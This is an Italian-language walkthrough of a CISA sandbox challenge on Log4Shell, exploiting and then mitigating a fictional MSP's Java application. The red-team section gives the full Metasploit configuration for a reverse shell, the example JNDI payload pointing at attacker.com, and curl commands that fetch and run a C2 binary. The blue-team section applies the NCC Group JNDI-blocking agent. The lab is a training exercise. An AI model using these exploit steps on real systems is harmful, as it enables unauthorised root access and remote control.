Sfida Sandbox: Log4Shell (CVE-2021-44228)

Panoramica

Questa walkthrough documenta i passaggi eseguiti per completare la CISA Threat Sandbox Challenge per CVE-2021-44228, comunemente nota come Log4Shell. La sfida prevedeva il completamento di due obiettivi — uno red team (offensivo) e uno blue team (difensivo) — contro un fittizio fornitore di servizi gestiti IT (MSP) chiamato DasMSP all'interno di un ambiente sandbox isolato.

Nota: I comandi e i percorsi dei file in questa walkthrough riflettono i passaggi specifici eseguiti in questo ambiente. Il tuo ambiente potrebbe differire, inclusi indirizzi IP, posizioni dei file e disponibilità degli strumenti. Adatta i comandi come necessario alla tua configurazione.

Contesto

CVE-2021-44228 è una vulnerabilità critica di esecuzione di codice in remoto (RCE) (CVSS 10.0) che colpisce versioni specifiche del framework di logging Java Apache Log4j. La vulnerabilità deriva dalla funzionalità di lookup JNDI di Log4j, che può essere attivata iniettando una stringa appositamente costruita come ${jndi:ldap://attacker.com/exploit} in qualsiasi dato che Log4j registri. Se un attaccante riesce a far registrare a un'applicazione vulnerabile una stringa dannosa — comunemente tramite header HTTP — Log4j contatterà il server controllato dall'attaccante ed eseguirà codice arbitrario.

Log4Shell è stata aggiunta al catalogo Known Exploited Vulnerabilities (KEV) della CISA il 10 dicembre 2021 ed è apparsa negli advisory congiunti Top Routinely Exploited Vulnerabilities sia per il 2021 che per il 2022.

Ambiente

Entrambi i sistemi target sono Linux ed eseguono un'applicazione web Java vulnerabile (dasmsp.jar) che utilizza una versione affetta di Log4j.

Strumenti Utilizzati

• Metasploit Framework (exploit/multi/http/log4shell_header_injection)
• curl
• Python3 HTTP Server
• SSH
• SCP
• systemctl
• nano

Obiettivo Red Team: Distribuire il Listener C2 sul Red Target

Step 1 — Avviare Metasploit

Ho aperto un terminale su Security-Desk e ho avviato Metasploit:

msfconsole

Step 2 — Cercare il Modulo Log4Shell

Il percorso del modulo fornito nel briefing non corrispondeva alla versione installata. Ho cercato il modulo corretto:

search log4shell

Ho identificato il modulo corretto: exploit/multi/http/log4shell_header_injection.

Step 3 — Configurare l'Exploit

use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

Step 4 — Eseguire l'Exploit

run

Metasploit ha testato automaticamente più header HTTP per la vulnerabilità Log4Shell. È stato confermato che il Red Target è vulnerabile su più header (Authorization, Cache-Control, User-Agent, X-Forwarded-For e altri). È stata aperta una sessione di shell dei comandi verso il Red Target.

Step 5 — Verificare l'Accesso alla Shell

Ho confermato l'accesso di livello root sul Red Target:

id

Output: uid=0(root) gid=0(root) groups=0(root)

Step 6 — Trasferire ed Eseguire deploy_c2

Il binario deploy_c2 si trovava su Security-Desk, non sul Red Target. Sul target non erano disponibili né wget né un riferimento diretto al percorso. Ho aperto un secondo terminale su Security-Desk e ho servito il file tramite Python:

cd ~/Desktop/Resources
python3 -m http.server 8080

Tornando alla sessione di shell Metasploit sul Red Target, ho scaricato ed eseguito il binario:

curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

Output: Done!

✅ C2 Listener Deployed on Red Target check confermato.

Obiettivo Blue Team: Mitigare CVE-2021-44228 sul Blue Target

Il metodo di mitigazione utilizzato è l'agente Java log4j-jndi-be-gone-standalone.jar sviluppato da NCC Group, che corregge il comportamento del lookup JNDI a runtime senza richiedere una patch all'applicazione sottostante. I dettagli su questo agente sono disponibili nel blog di ricerca di NCC Group.

Step 1 — Trasferire l'Agente Java sul Blue Target

Dal terminale di Security-Desk, ho utilizzato SCP per trasferire il file JAR dell'agente Java:

scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

Step 2 — Connettersi via SSH al Blue Target

ssh playerone@<Blue-Target-IP>

Step 3 — Modificare il File dell'Unità di Servizio

sudo nano /etc/systemd/system/dasmsp.service

Ho individuato la riga ExecStart e ho aggiunto il flag -javaagent:

Prima:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

Dopo:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Salvato con Ctrl+O → Invio → Ctrl+X.

Step 4 — Ricaricare e Riavviare il Servizio

sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ CVE-2021-44228 Mitigated on Blue Target check confermato.